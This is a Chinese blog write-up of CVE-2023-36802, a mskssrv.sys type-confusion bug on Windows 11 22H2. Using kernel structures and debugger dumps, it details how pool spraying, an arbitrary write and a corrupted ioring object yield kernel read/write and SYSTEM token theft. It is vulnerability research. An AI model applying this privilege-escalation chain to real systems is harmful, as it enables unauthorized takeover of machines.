CVE-2023-36802 与一种新的读写原语 ioring

admin 2024年1月19日13:56:55评论17 views字数 24839阅读82分47秒阅读模式
 

CVE-2023-36802 与一种新的读写原语 ioring该漏洞利用代码使用一种新的读写原语 ioring 来操作内核数据,虽然 ioring 功能在 windows 中已经出现了一段时间,但是其结合实际的漏洞进行利用还比较新鲜,故在此分享。

漏洞信息

  • 漏洞模块:mskssrv.sys
  • 发布时间:2023.9.12

环境

  • windows 11 22h2

EXP

使用 exp:https://github.com/xforcered/Windows_MSKSSRV_LPE_CVE-2023-36802

漏洞原理

这是一个类型混淆导致的权限提升漏洞,产生混淆的两个对象是 FSContextReg(size 0x78) 和 FSStreamReg(size 0x1d8),产生漏洞的函数 FSRendezvousServer::FindObject 原本被设计用来检查传入的 FSStreamReg 对象是否在 FSRendezvousServer 对象的 FSRegObjectList 链表中 ,但是其没有校验传入的对象是否是 FSStreamReg 对象,由于 FSContextReg 对象也在 FSRendezvousServer 对象的 FSRegObjectList 链表中(虽然是两条不同的链表),所以当传入对象是 FSContextReg 时也能通过 FSRendezvousServer::FindObject 函数检查,并被传入 FSStreamReg::PublishRx 函数,而 FSStreamReg::PublishRx 函数实际需要一个 FSStreamReg 对象,这就产生了类型混淆。

CVE-2023-36802 与一种新的读写原语 ioring

FSRendezvousServer::FindObject 函数同时检查两种对象是否在各自的链表中。

CVE-2023-36802 与一种新的读写原语 ioring

补丁后 FSRendezvousServer::FindObject 函数变为 FSRendezvousServer::FindStreamObject 函数,其只检查 FSStreamReg 对象是否在 FSRendezvousServer 对象 0x40 处的 FSRegObjectList 链表中。

CVE-2023-36802 与一种新的读写原语 ioring

FSContextReg 对象的创建由 FSRendezvousServer::InitializeContext 函数完成,创建时对象类型字段被赋值为 1,FSContextReg 对象被创建之前会先创建 FSRendezvousServer 对象。

CVE-2023-36802 与一种新的读写原语 ioring

FSStreamReg 对象的建立由 FSRendezvousServer::InitializeStream 函数完成,创建时对象的类型字段被赋值为 2。

CVE-2023-36802 与一种新的读写原语 ioring

CVE-2023-36802 与一种新的读写原语 ioring

部分对象结构:

//size 0xd8
typedef struct _FSFrameMdl{
    LIST_ENTRY list_entry                    //0x0 与 FSStreamReg 对象中的 fsframemdllist.fslist.list_entry 相链接
    MDL* pMDL                                //0xa0 指向 MDL 的指针
    DWORD64 MappedAddr                        //0xa8 MDL 映射后的用户态的进程空间地址
    MDL* pMDL                                //0xb0 指向 MDL 的指针
    DWORD64 MappedAddr                        //0xa8 MDL 映射后的用户态的进程空间地址
}FSFrameMdl,*pFSFrameMdl;

//size 0x28
typedef struct _FSList{
    DWORD64* vftable                        //0x0 虚表
    LIST_ENTRY list_entry                    //0x8 双向链表,用于链接对象,如 FSContextReg、FSStreamReg、FSFrameMdl
    LIST_ENTRY* PLIST_ENTRY                    //0x18 指向下一个对象的双向链表
}FSList,*pFSList;

//size 0x78
typedef struct _FSFrameMdlList{
    DWORD64* vftable                        //0x0 虚表
    FSList fslist                            //0x40 FSList 结构体,其中的链表链接 FSFrameMdl 对象
}FSFrameMdlList,*pFSFrameMdlList;

//size 0x78
typedef struct _FSContextReg{
    DWORD64* vftable                        //0x0 虚表
    LIST_ENTRY list_entry                    //0x8 双向链表,与 FSRendezvousServer 中的链表相连
    FSContextReg* self                        //0x20 指向自己的指针
    DWORD type                                //0x30 1,类型标识,是 FSContextReg 对象还是 FSStreamReg 对象
    FSRegObjectList* pFSRegObjectList        //0x48 指向链接自己的 FSRegObjectList
    BYTE RawData[1]                            //用户设置的数据
}FSContextReg,*pFSContextReg;

//size 0x1d8
typedef struct _FSStreamReg{
    DWORD64* vftable                        //0x0 虚表
    LIST_ENTRY list_entry                    //0x8 双向链表,与 FSRendezvousServer 中的链表相连
    FSStreamReg* self                        //0x20 指向自己的指针
    DWORD type                                //0x30 2,类型标识,是 FSContextReg 对象还是 FSStreamReg 对象
    DWORD size                                //0x34 自身大小
    FSFrameMdlList fsframemdllist            //0xc8 链接未映射 MDL 的 FSFrameMdl 对象
    FSFrameMdlList fsframemdllist            //0x140 链接已映射 MDL 的 FSFrameMdl 对象
    DWORD64* pFile_Object                    //0x1d0 FILE_OBJECT 指针
}FSStreamReg,*pFSStreamReg;

//size 0xa0
typedef struct _FSRendezvousServer{
    RKMUTEX rkmutex                            //0x8 RKMUTEX 结构体
    FSRegObjectList fsregobjectlist                //0x40 FSRegObjectList 对象,其中的链表链接 FSStreamReg 对象
    FSRegObjectList fsregobjectlist                //0x70 FSRegObjectList 对象,其中的链表链接 FSContextReg 对象
}FSRendezvousServer,*pFSRendezvousServer;

利用原理

上述的类型混淆可以实现两种漏洞利用:

一是任意地址写入常量 2,在 FSStreamReg::PublishRx 函数中其遍历 FSStreamReg 对象 0x140 处的 FSFrameMdlList 链表中的 FSFrameMdl 对象,并将 FSFrameMdl 对象中的 MDL 取消映射,现在通过 Fake FSStreamReg(FSContextReg) 对象 0x140 处的 FSFrameMdlList 链表中链接的 FSFrameMdl 对象的地址可以实现任意地址写入常量2。

CVE-2023-36802 与一种新的读写原语 ioring

二是信息泄露,FSRendezvousServer::ConsumeTx->FSStreamReg::GetStats 函数将 Fake FSStreamReg 对象中的部分数据写入 SystemBuffer,可以通过检测特征数据来判断内存布局。

CVE-2023-36802 与一种新的读写原语 ioring

任意读写原语

任意读写原语借助 ioring 来实现,使用两次任意地址写漏洞利用(写入常量2)分别修改 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段,将 RegBuffers 设置为一个用户层可控的地址,这样在调用相关的读/写原语函数时就能通过控制可控地址中的结构内容读/写到目的地址。

0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 0
   +0x078 CompletionCount  : 0
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 2
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> ???? 
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null)

ioring 读写原语在使用时借助了命名管道来进行读写:

读取原语是使用 ioring 将数据写入命名管道客户端,然后在服务端读取数据。

CVE-2023-36802 与一种新的读写原语 ioring

内核部分由 nt!IopIoRingDispatchWrite 函数实现:

CVE-2023-36802 与一种新的读写原语 ioring

写入原语是将数据写入服务端,然后使用 ioring 将数据读取到目的地址。

CVE-2023-36802 与一种新的读写原语 ioring

内核部分由 nt!IopIoRingDispatchRead 函数实现:

CVE-2023-36802 与一种新的读写原语 ioring

ioring 参考文章

1,https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
2,https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
3,https://windows-internals.com/one-year-to-i-o-ring-what-changed/

利用分析

利用步骤

1,创建 ioring 与两个命名管道用于稍后构建读写原语。
2,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址。
3,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffersCount 字段。
4, 利用 ioring 的读原语读取 system 进程 token。
5,利用 ioring 的写原语修改目的进程 token。
6,利用 ioring 的写原语修复 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段。

详情

1,创建 ioring 与两个命名管道用于稍后构建读写原语。

CVE-2023-36802 与一种新的读写原语 ioring

0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 0
   +0x078 CompletionCount  : 0
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 0
   +0x0b8 RegBuffers       : (null) 
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null)

2,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址。

通过向命名管道客户端写入数据的方式与创建 FSContextReg 对象喷射非分页池。

CVE-2023-36802 与一种新的读写原语 ioring

利用信息泄露漏洞(FSRendezvousServer::ConsumeTx)泄露 FSContextReg 对象的临近内存数据,以此判断内存布局。

CVE-2023-36802 与一种新的读写原语 ioring

得到如下内存布局。

1: kd> dq ffffe284454452a0 l1d8/8                        FSContextReg
ffffe284`454452a0  fffff806`76dc3198 ffffe284`45445338
ffffe284`454452b0  ffffe284`454433b8 00000000`00000002
ffffe284`454452c0  ffffe284`454452a0 00000000`00000001
ffffe284`454452d0  00000078`00000001 ffffe284`431430c0
ffffe284`454452e0  00000000`00000000 ffffe284`43de3610
ffffe284`454452f0  00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445300  00000002`00000000 00000000`00000000
ffffe284`45445310  00000000`00000000 00000000`00000000
ffffe284`45445320  67657243`02090000 00000000`00000000        Creg
ffffe284`45445330  fffff806`76dc3198 ffffe284`454447f8
ffffe284`45445340  ffffe284`454452a8 00000000`00000002
ffffe284`45445350  ffffe284`45445330 00000000`00000001
ffffe284`45445360  00000078`00000001 ffffe284`431430c0
ffffe284`45445370  00000000`00000000 ffffe284`43de3610
ffffe284`45445380  00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445390  00000002`00000000 00000000`00000000
ffffe284`454453a0  00000000`00000000 00000000`00000000
ffffe284`454453b0  7246704e`0a090000 5548deef`059416a8        NpFr
ffffe284`454453c0  ffffd286`72448d78 ffffd286`72448d78
ffffe284`454453d0  00000000`00000000 ffffd286`723b0880
ffffe284`454453e0  00000050`00000000 00000000`00000050
ffffe284`454453f0  00000000`00000000 00000000`00000000
ffffe284`45445400  00000000`00000000 00000000`00000000
ffffe284`45445410  00000000`00000000 00000000`00000000
ffffe284`45445420  00000000`00000000 ffffe284`4464321a <-------- (char*)&pIoRing->CompletionUserEvent + 0x2;
ffffe284`45445430  00000000`00000000 00000000`00000000
ffffe284`45445440  67657243`02090000 00000000`00000000        Creg
ffffe284`45445450  fffff806`76dc3198 ffffe284`45445698
ffffe284`45445460  ffffe284`454447f8 00000000`00000002
ffffe284`45445470  ffffe284`45445450
1: kd> !pool ffffe284454452a0
Pool page ffffe284454452a0 region is Nonpaged pool
 ffffe28445445050 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe284454450e0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445170 size:   90 previous size:    0  (Allocated)  Creg
 ffffe28445445200 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
*ffffe28445445290 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffffe28445445320 size:   90 previous size:    0  (Allocated)  Creg
 ffffe284454453b0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445440 size:   90 previous size:    0  (Allocated)  Creg
 ffffe284454454d0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445560 size:   90 previous size:    0  (Allocated)  Creg
 ffffe284454455f0 size:   90 previous size:    0  (Allocated)  Creg
 ffffe28445445680 size:   90 previous size:    0  (Allocated)  Creg

之所以追求上述内存布局,一是为了利用任意写2漏洞修改 IORING_OBJECT.RegBuffers 字段,将其修改为用户可控地址 0x20000,二是为了避免稍后的 KeSetEvent 函数崩溃。

CVE-2023-36802 与一种新的读写原语 ioring

修改后的 IORING_OBJECT 对象。

0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 0
   +0x078 CompletionCount  : 0
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 0
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> ???? 
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null)

3,喷射非分页池利用漏洞(信息泄露,任意写2)修改 IORING_OBJECT.RegBuffersCount 字段。

使用上一步相同的方法修改 IORING_OBJECT.RegBuffersCount 字段。

内存布局如下:

2: kd> dq ffffe284454452a0 l1d8/8                            FSContextReg
ffffe284`454452a0  fffff806`76dc3198 ffffe284`45445338
ffffe284`454452b0  ffffe284`454433b8 00000000`00000002
ffffe284`454452c0  ffffe284`454452a0 00000000`00000001
ffffe284`454452d0  00000078`00000001 ffffe284`431430c0
ffffe284`454452e0  00000000`00000000 ffffe284`43de3610
ffffe284`454452f0  00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445300  00000002`00000000 00000000`00000000
ffffe284`45445310  00000000`00000000 00000000`00000000
ffffe284`45445320  67657243`02090000 00000000`00000000        Creg
ffffe284`45445330  fffff806`76dc3198 ffffe284`454447f8
ffffe284`45445340  ffffe284`454452a8 00000000`00000002
ffffe284`45445350  ffffe284`45445330 00000000`00000001
ffffe284`45445360  00000078`00000001 ffffe284`431430c0
ffffe284`45445370  00000000`00000000 ffffe284`43de3610
ffffe284`45445380  00000000`2f2c8ddd 06deb705`bb6129ba
ffffe284`45445390  00000002`00000000 00000000`00000000
ffffe284`454453a0  00000000`00000000 00000000`00000000
ffffe284`454453b0  7246704e`0a090000 5548deef`059416a8        NpFr
ffffe284`454453c0  ffffd286`7218b318 ffffd286`7218b318
ffffe284`454453d0  00000000`00000000 ffffd286`721182c0
ffffe284`454453e0  00000050`00000000 00000000`00000050
ffffe284`454453f0  00000000`00000000 00000000`00000000
ffffe284`45445400  00000000`00000000 00000000`00000000
ffffe284`45445410  00000000`00000000 00000000`00000000
ffffe284`45445420  00000000`00000000 ffffe284`44643210 <-------- &pIoRing->SignalCompletionEvent;
ffffe284`45445430  00000000`00000000 00000000`00000000
ffffe284`45445440  67657243`02090000 00000000`00000000        Creg
ffffe284`45445450  fffff806`76dc3198 ffffe284`45445698
ffffe284`45445460  ffffe284`454447f8 00000000`00000002
ffffe284`45445470  ffffe284`45445450
2: kd> !pool ffffe284454452a0
Pool page ffffe284454452a0 region is Nonpaged pool
 ffffe28445445050 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe284454450e0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445170 size:   90 previous size:    0  (Allocated)  Creg
 ffffe28445445200 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
*ffffe28445445290 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffffe28445445320 size:   90 previous size:    0  (Allocated)  Creg
 ffffe284454453b0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445440 size:   90 previous size:    0  (Allocated)  Creg
 ffffe284454454d0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe284431430c0
 ffffe28445445560 size:   90 previous size:    0  (Allocated)  Creg

修改后的 IORING_OBJECT 对象。

0: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 0
   +0x078 CompletionCount  : 0
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 2
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> ???? 
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null)

4,利用 ioring 的读原语读取 system 进程 token。

创建写 io 请求,提交请求 nt!IopIoRingDispatchWrite 会将目的地址的数据(system 进程 token 值)写入命名管道客户端,然后从服务端读取 token 值。

2: kd> dt _IORING_OBJECT ffffe284`44643170
nt!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 0
   +0x078 CompletionCount  : 0
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 2
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> 0x0000023e`d4970000 _IOP_MC_BUFFER_ENTRY
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null) 

-------------------------- _NT_IORING_SUBMISSION_QUEUE
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_NT_IORING_SUBMISSION_QUEUE *)0xfffff80665800000)
((ntkrnlmp!_NT_IORING_SUBMISSION_QUEUE *)0xfffff80665800000)                 : 0xfffff80665800000 [Type: _NT_IORING_SUBMISSION_QUEUE *]
    [+0x000] Head             : 0x0 [Type: unsigned int]
    [+0x004] Tail             : 0x1 [Type: unsigned int]
    [+0x008] Flags            : NT_IORING_SQ_FLAG_NONE (0) [Type: _NT_IORING_SQ_FLAGS]
    [+0x010] Entries          [Type: _NT_IORING_SQE [1]]
2: kd> dt _NT_IORING_SQE fffff806`65800010 
nt!_NT_IORING_SQE
   +0x000 OpCode           : 5 ( IORING_OP_WRITE )
   +0x004 Flags            : 0 ( NT_IORING_SQE_FLAG_NONE )
   +0x008 UserData         : 0
   +0x008 PaddingUserDataForWow : 0
   +0x010 Read             : _NT_IORING_OP_READ
   +0x010 RegisterFiles    : _NT_IORING_OP_REGISTER_FILES
   +0x010 RegisterBuffers  : _NT_IORING_OP_REGISTER_BUFFERS
   +0x010 Cancel           : _NT_IORING_OP_CANCEL
   +0x010 Write            : _NT_IORING_OP_WRITE
   +0x010 Flush            : _NT_IORING_OP_FLUSH
   +0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_WRITE *)0xfffff80665800020))
(*((ntkrnlmp!_NT_IORING_OP_WRITE *)0xfffff80665800020))                 [Type: _NT_IORING_OP_WRITE]
    [+0x000] CommonOpFlags    : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
    [+0x004] Flags            : NT_WRITE_FLAG_NONE (0) [Type: _NT_WRITE_FLAGS]
    [+0x008] File             [Type: _NT_IORING_HANDLEREF]
    [+0x010] Buffer           [Type: _NT_IORING_BUFFERREF]
    [+0x018] Offset           : 0x0 [Type: unsigned __int64]
    [+0x020] Length           : 0x8 [Type: unsigned int]
    [+0x024] Key              : 0x0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800028))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800028))                 [Type: _NT_IORING_HANDLEREF]
    [+0x000] Handle           : 0x80d4 [Type: void *]
    [+0x000] HandleIndex      : 0x80d4 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800030))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800030))                 [Type: _NT_IORING_BUFFERREF]
    [+0x000] Address          : 0x0 [Type: void *]
    [+0x000] FixedBuffer      [Type: IORING_REGISTERED_BUFFER]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800030))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800030))                 [Type: IORING_REGISTERED_BUFFER]
    [+0x000] BufferIndex      : 0x0 [Type: unsigned int]
    [+0x004] Offset           : 0x0 [Type: unsigned int]

-------------------------- _IOP_MC_BUFFER_ENTRY
1: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_IOP_MC_BUFFER_ENTRY * *)0x20000)
((ntkrnlmp!_IOP_MC_BUFFER_ENTRY * *)0x20000)                 : 0x20000 [Type: _IOP_MC_BUFFER_ENTRY * *]
    0x23ed4970000 [Type: _IOP_MC_BUFFER_ENTRY *]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 ((ntkrnlmp!_IOP_MC_BUFFER_ENTRY *)0x23ed4970000)
((ntkrnlmp!_IOP_MC_BUFFER_ENTRY *)0x23ed4970000)                 : 0x23ed4970000 [Type: _IOP_MC_BUFFER_ENTRY *]
    [+0x000] Type             : 0xc02 [Type: unsigned short]
    [+0x002] Reserved         : 0x0 [Type: unsigned short]
    [+0x004] Size             : 0x80 [Type: unsigned int]
    [+0x008] ReferenceCount   : 1 [Type: long]
    [+0x00c] Flags            : 0 [Type: _IOP_MC_BUFFER_ENTRY_FLAGS]
    [+0x010] GlobalDataLink   [Type: _LIST_ENTRY]
    [+0x020] Address          : 0xffffe2843d8fa4f8 [Type: void *]
    [+0x028] Length           : 0x8 [Type: unsigned int]
    [+0x02c] AccessMode       : 1 [Type: char]
    [+0x030] MdlRef           : 0 [Type: long]
    [+0x038] Mdl              : 0x0 [Type: _MDL *]
    [+0x040] MdlRundownEvent  [Type: _KEVENT]
    [+0x058] PfnArray         : 0x0 [Type: unsigned __int64 *]
    [+0x060] PageNodes        [Type: _IOP_MC_BE_PAGE_NODE [1]]

5,利用 ioring 的写原语修改目的进程 token。

将 system 进程的 token 值写入命名管道服务端,创建 io 读请求并提交,nt!IopIoRingDispatchRead 会从命名管道客户端读取数据并将 token 值写入到目的地址。

1: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 1
   +0x078 CompletionCount  : 1
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 2
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> 0x0000023e`d4970000 _IOP_MC_BUFFER_ENTRY
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null) 

-------------------------- _NT_IORING_SUBMISSION_QUEUE
1: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff806`65800000
nt!_NT_IORING_SUBMISSION_QUEUE
   +0x000 Head             : 1
   +0x004 Tail             : 2
   +0x008 Flags            : 0 ( NT_IORING_SQ_FLAG_NONE )
   +0x010 Entries          : [1] _NT_IORING_SQE
1: kd> dq 0xfffff806`65800000
fffff806`65800000  00000002`00000001 00000000`00000000
fffff806`65800010  00000000`00000005 00000000`00000000        第一次的 io 写请求
fffff806`65800020  00000000`00000002 00000000`000080d4
fffff806`65800030  00000000`00000000 00000000`00000000
fffff806`65800040  00000000`00000008 00000000`00000000
fffff806`65800050  00000000`00000001 00000000`00000000        第二次的 io 读请求
fffff806`65800060  00000000`00000002 00000000`000080f0
fffff806`65800070  00000000`00000001 00000000`00000000
1: kd> dt _NT_IORING_SQE fffff806`65800050
nt!_NT_IORING_SQE
   +0x000 OpCode           : 1 ( IORING_OP_READ )
   +0x004 Flags            : 0 ( NT_IORING_SQE_FLAG_NONE )
   +0x008 UserData         : 0
   +0x008 PaddingUserDataForWow : 0
   +0x010 Read             : _NT_IORING_OP_READ
   +0x010 RegisterFiles    : _NT_IORING_OP_REGISTER_FILES
   +0x010 RegisterBuffers  : _NT_IORING_OP_REGISTER_BUFFERS
   +0x010 Cancel           : _NT_IORING_OP_CANCEL
   +0x010 Write            : _NT_IORING_OP_WRITE
   +0x010 Flush            : _NT_IORING_OP_FLUSH
   +0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff80665800060))
(*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff80665800060))                 [Type: _NT_IORING_OP_READ]
    [+0x000] CommonOpFlags    : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
    [+0x004] Padding          : 0x0 [Type: unsigned int]
    [+0x008] File             [Type: _NT_IORING_HANDLEREF]
    [+0x010] Buffer           [Type: _NT_IORING_BUFFERREF]
    [+0x018] Offset           : 0x0 [Type: unsigned __int64]
    [+0x020] Length           : 0x8 [Type: unsigned int]
    [+0x024] Key              : 0x0 [Type: unsigned int]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800068))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff80665800068))                 [Type: _NT_IORING_HANDLEREF]
    [+0x000] Handle           : 0x80f0 [Type: void *]
    [+0x000] HandleIndex      : 0x80f0 [Type: unsigned int]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800070))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff80665800070))                 [Type: _NT_IORING_BUFFERREF]
    [+0x000] Address          : 0x1 [Type: void *]
    [+0x000] FixedBuffer      [Type: IORING_REGISTERED_BUFFER]
1: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800070))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff80665800070))                 [Type: IORING_REGISTERED_BUFFER]
    [+0x000] BufferIndex      : 0x1 [Type: unsigned int]
    [+0x004] Offset           : 0x0 [Type: unsigned int]

-------------------------- _IOP_MC_BUFFER_ENTRY
2: kd> dt _IOP_MC_BUFFER_ENTRY poi(0x20000 + 8)
CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY
   +0x000 Type             : 0xc02
   +0x002 Reserved         : 0
   +0x004 Size             : 0x80
   +0x008 ReferenceCount   : 1
   +0x00c Flags            : 0
   +0x010 GlobalDataLink   : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x020 Address          : 0xffffe284`43448538 Void
   +0x028 Length           : 8
   +0x02c AccessMode       : 1 ''
   +0x030 MdlRef           : 0
   +0x038 Mdl              : (null) 
   +0x040 MdlRundownEvent  : _KEVENT
   +0x058 PfnArray         : (null) 
   +0x060 PageNodes        : [32]  ""

目标进程的 token 被修改。

2: kd> dq ffffe284`43448080 + 4b8 l1
ffffe284`43448538  ffffd286`6720904c        提权

CVE-2023-36802 与一种新的读写原语 ioring

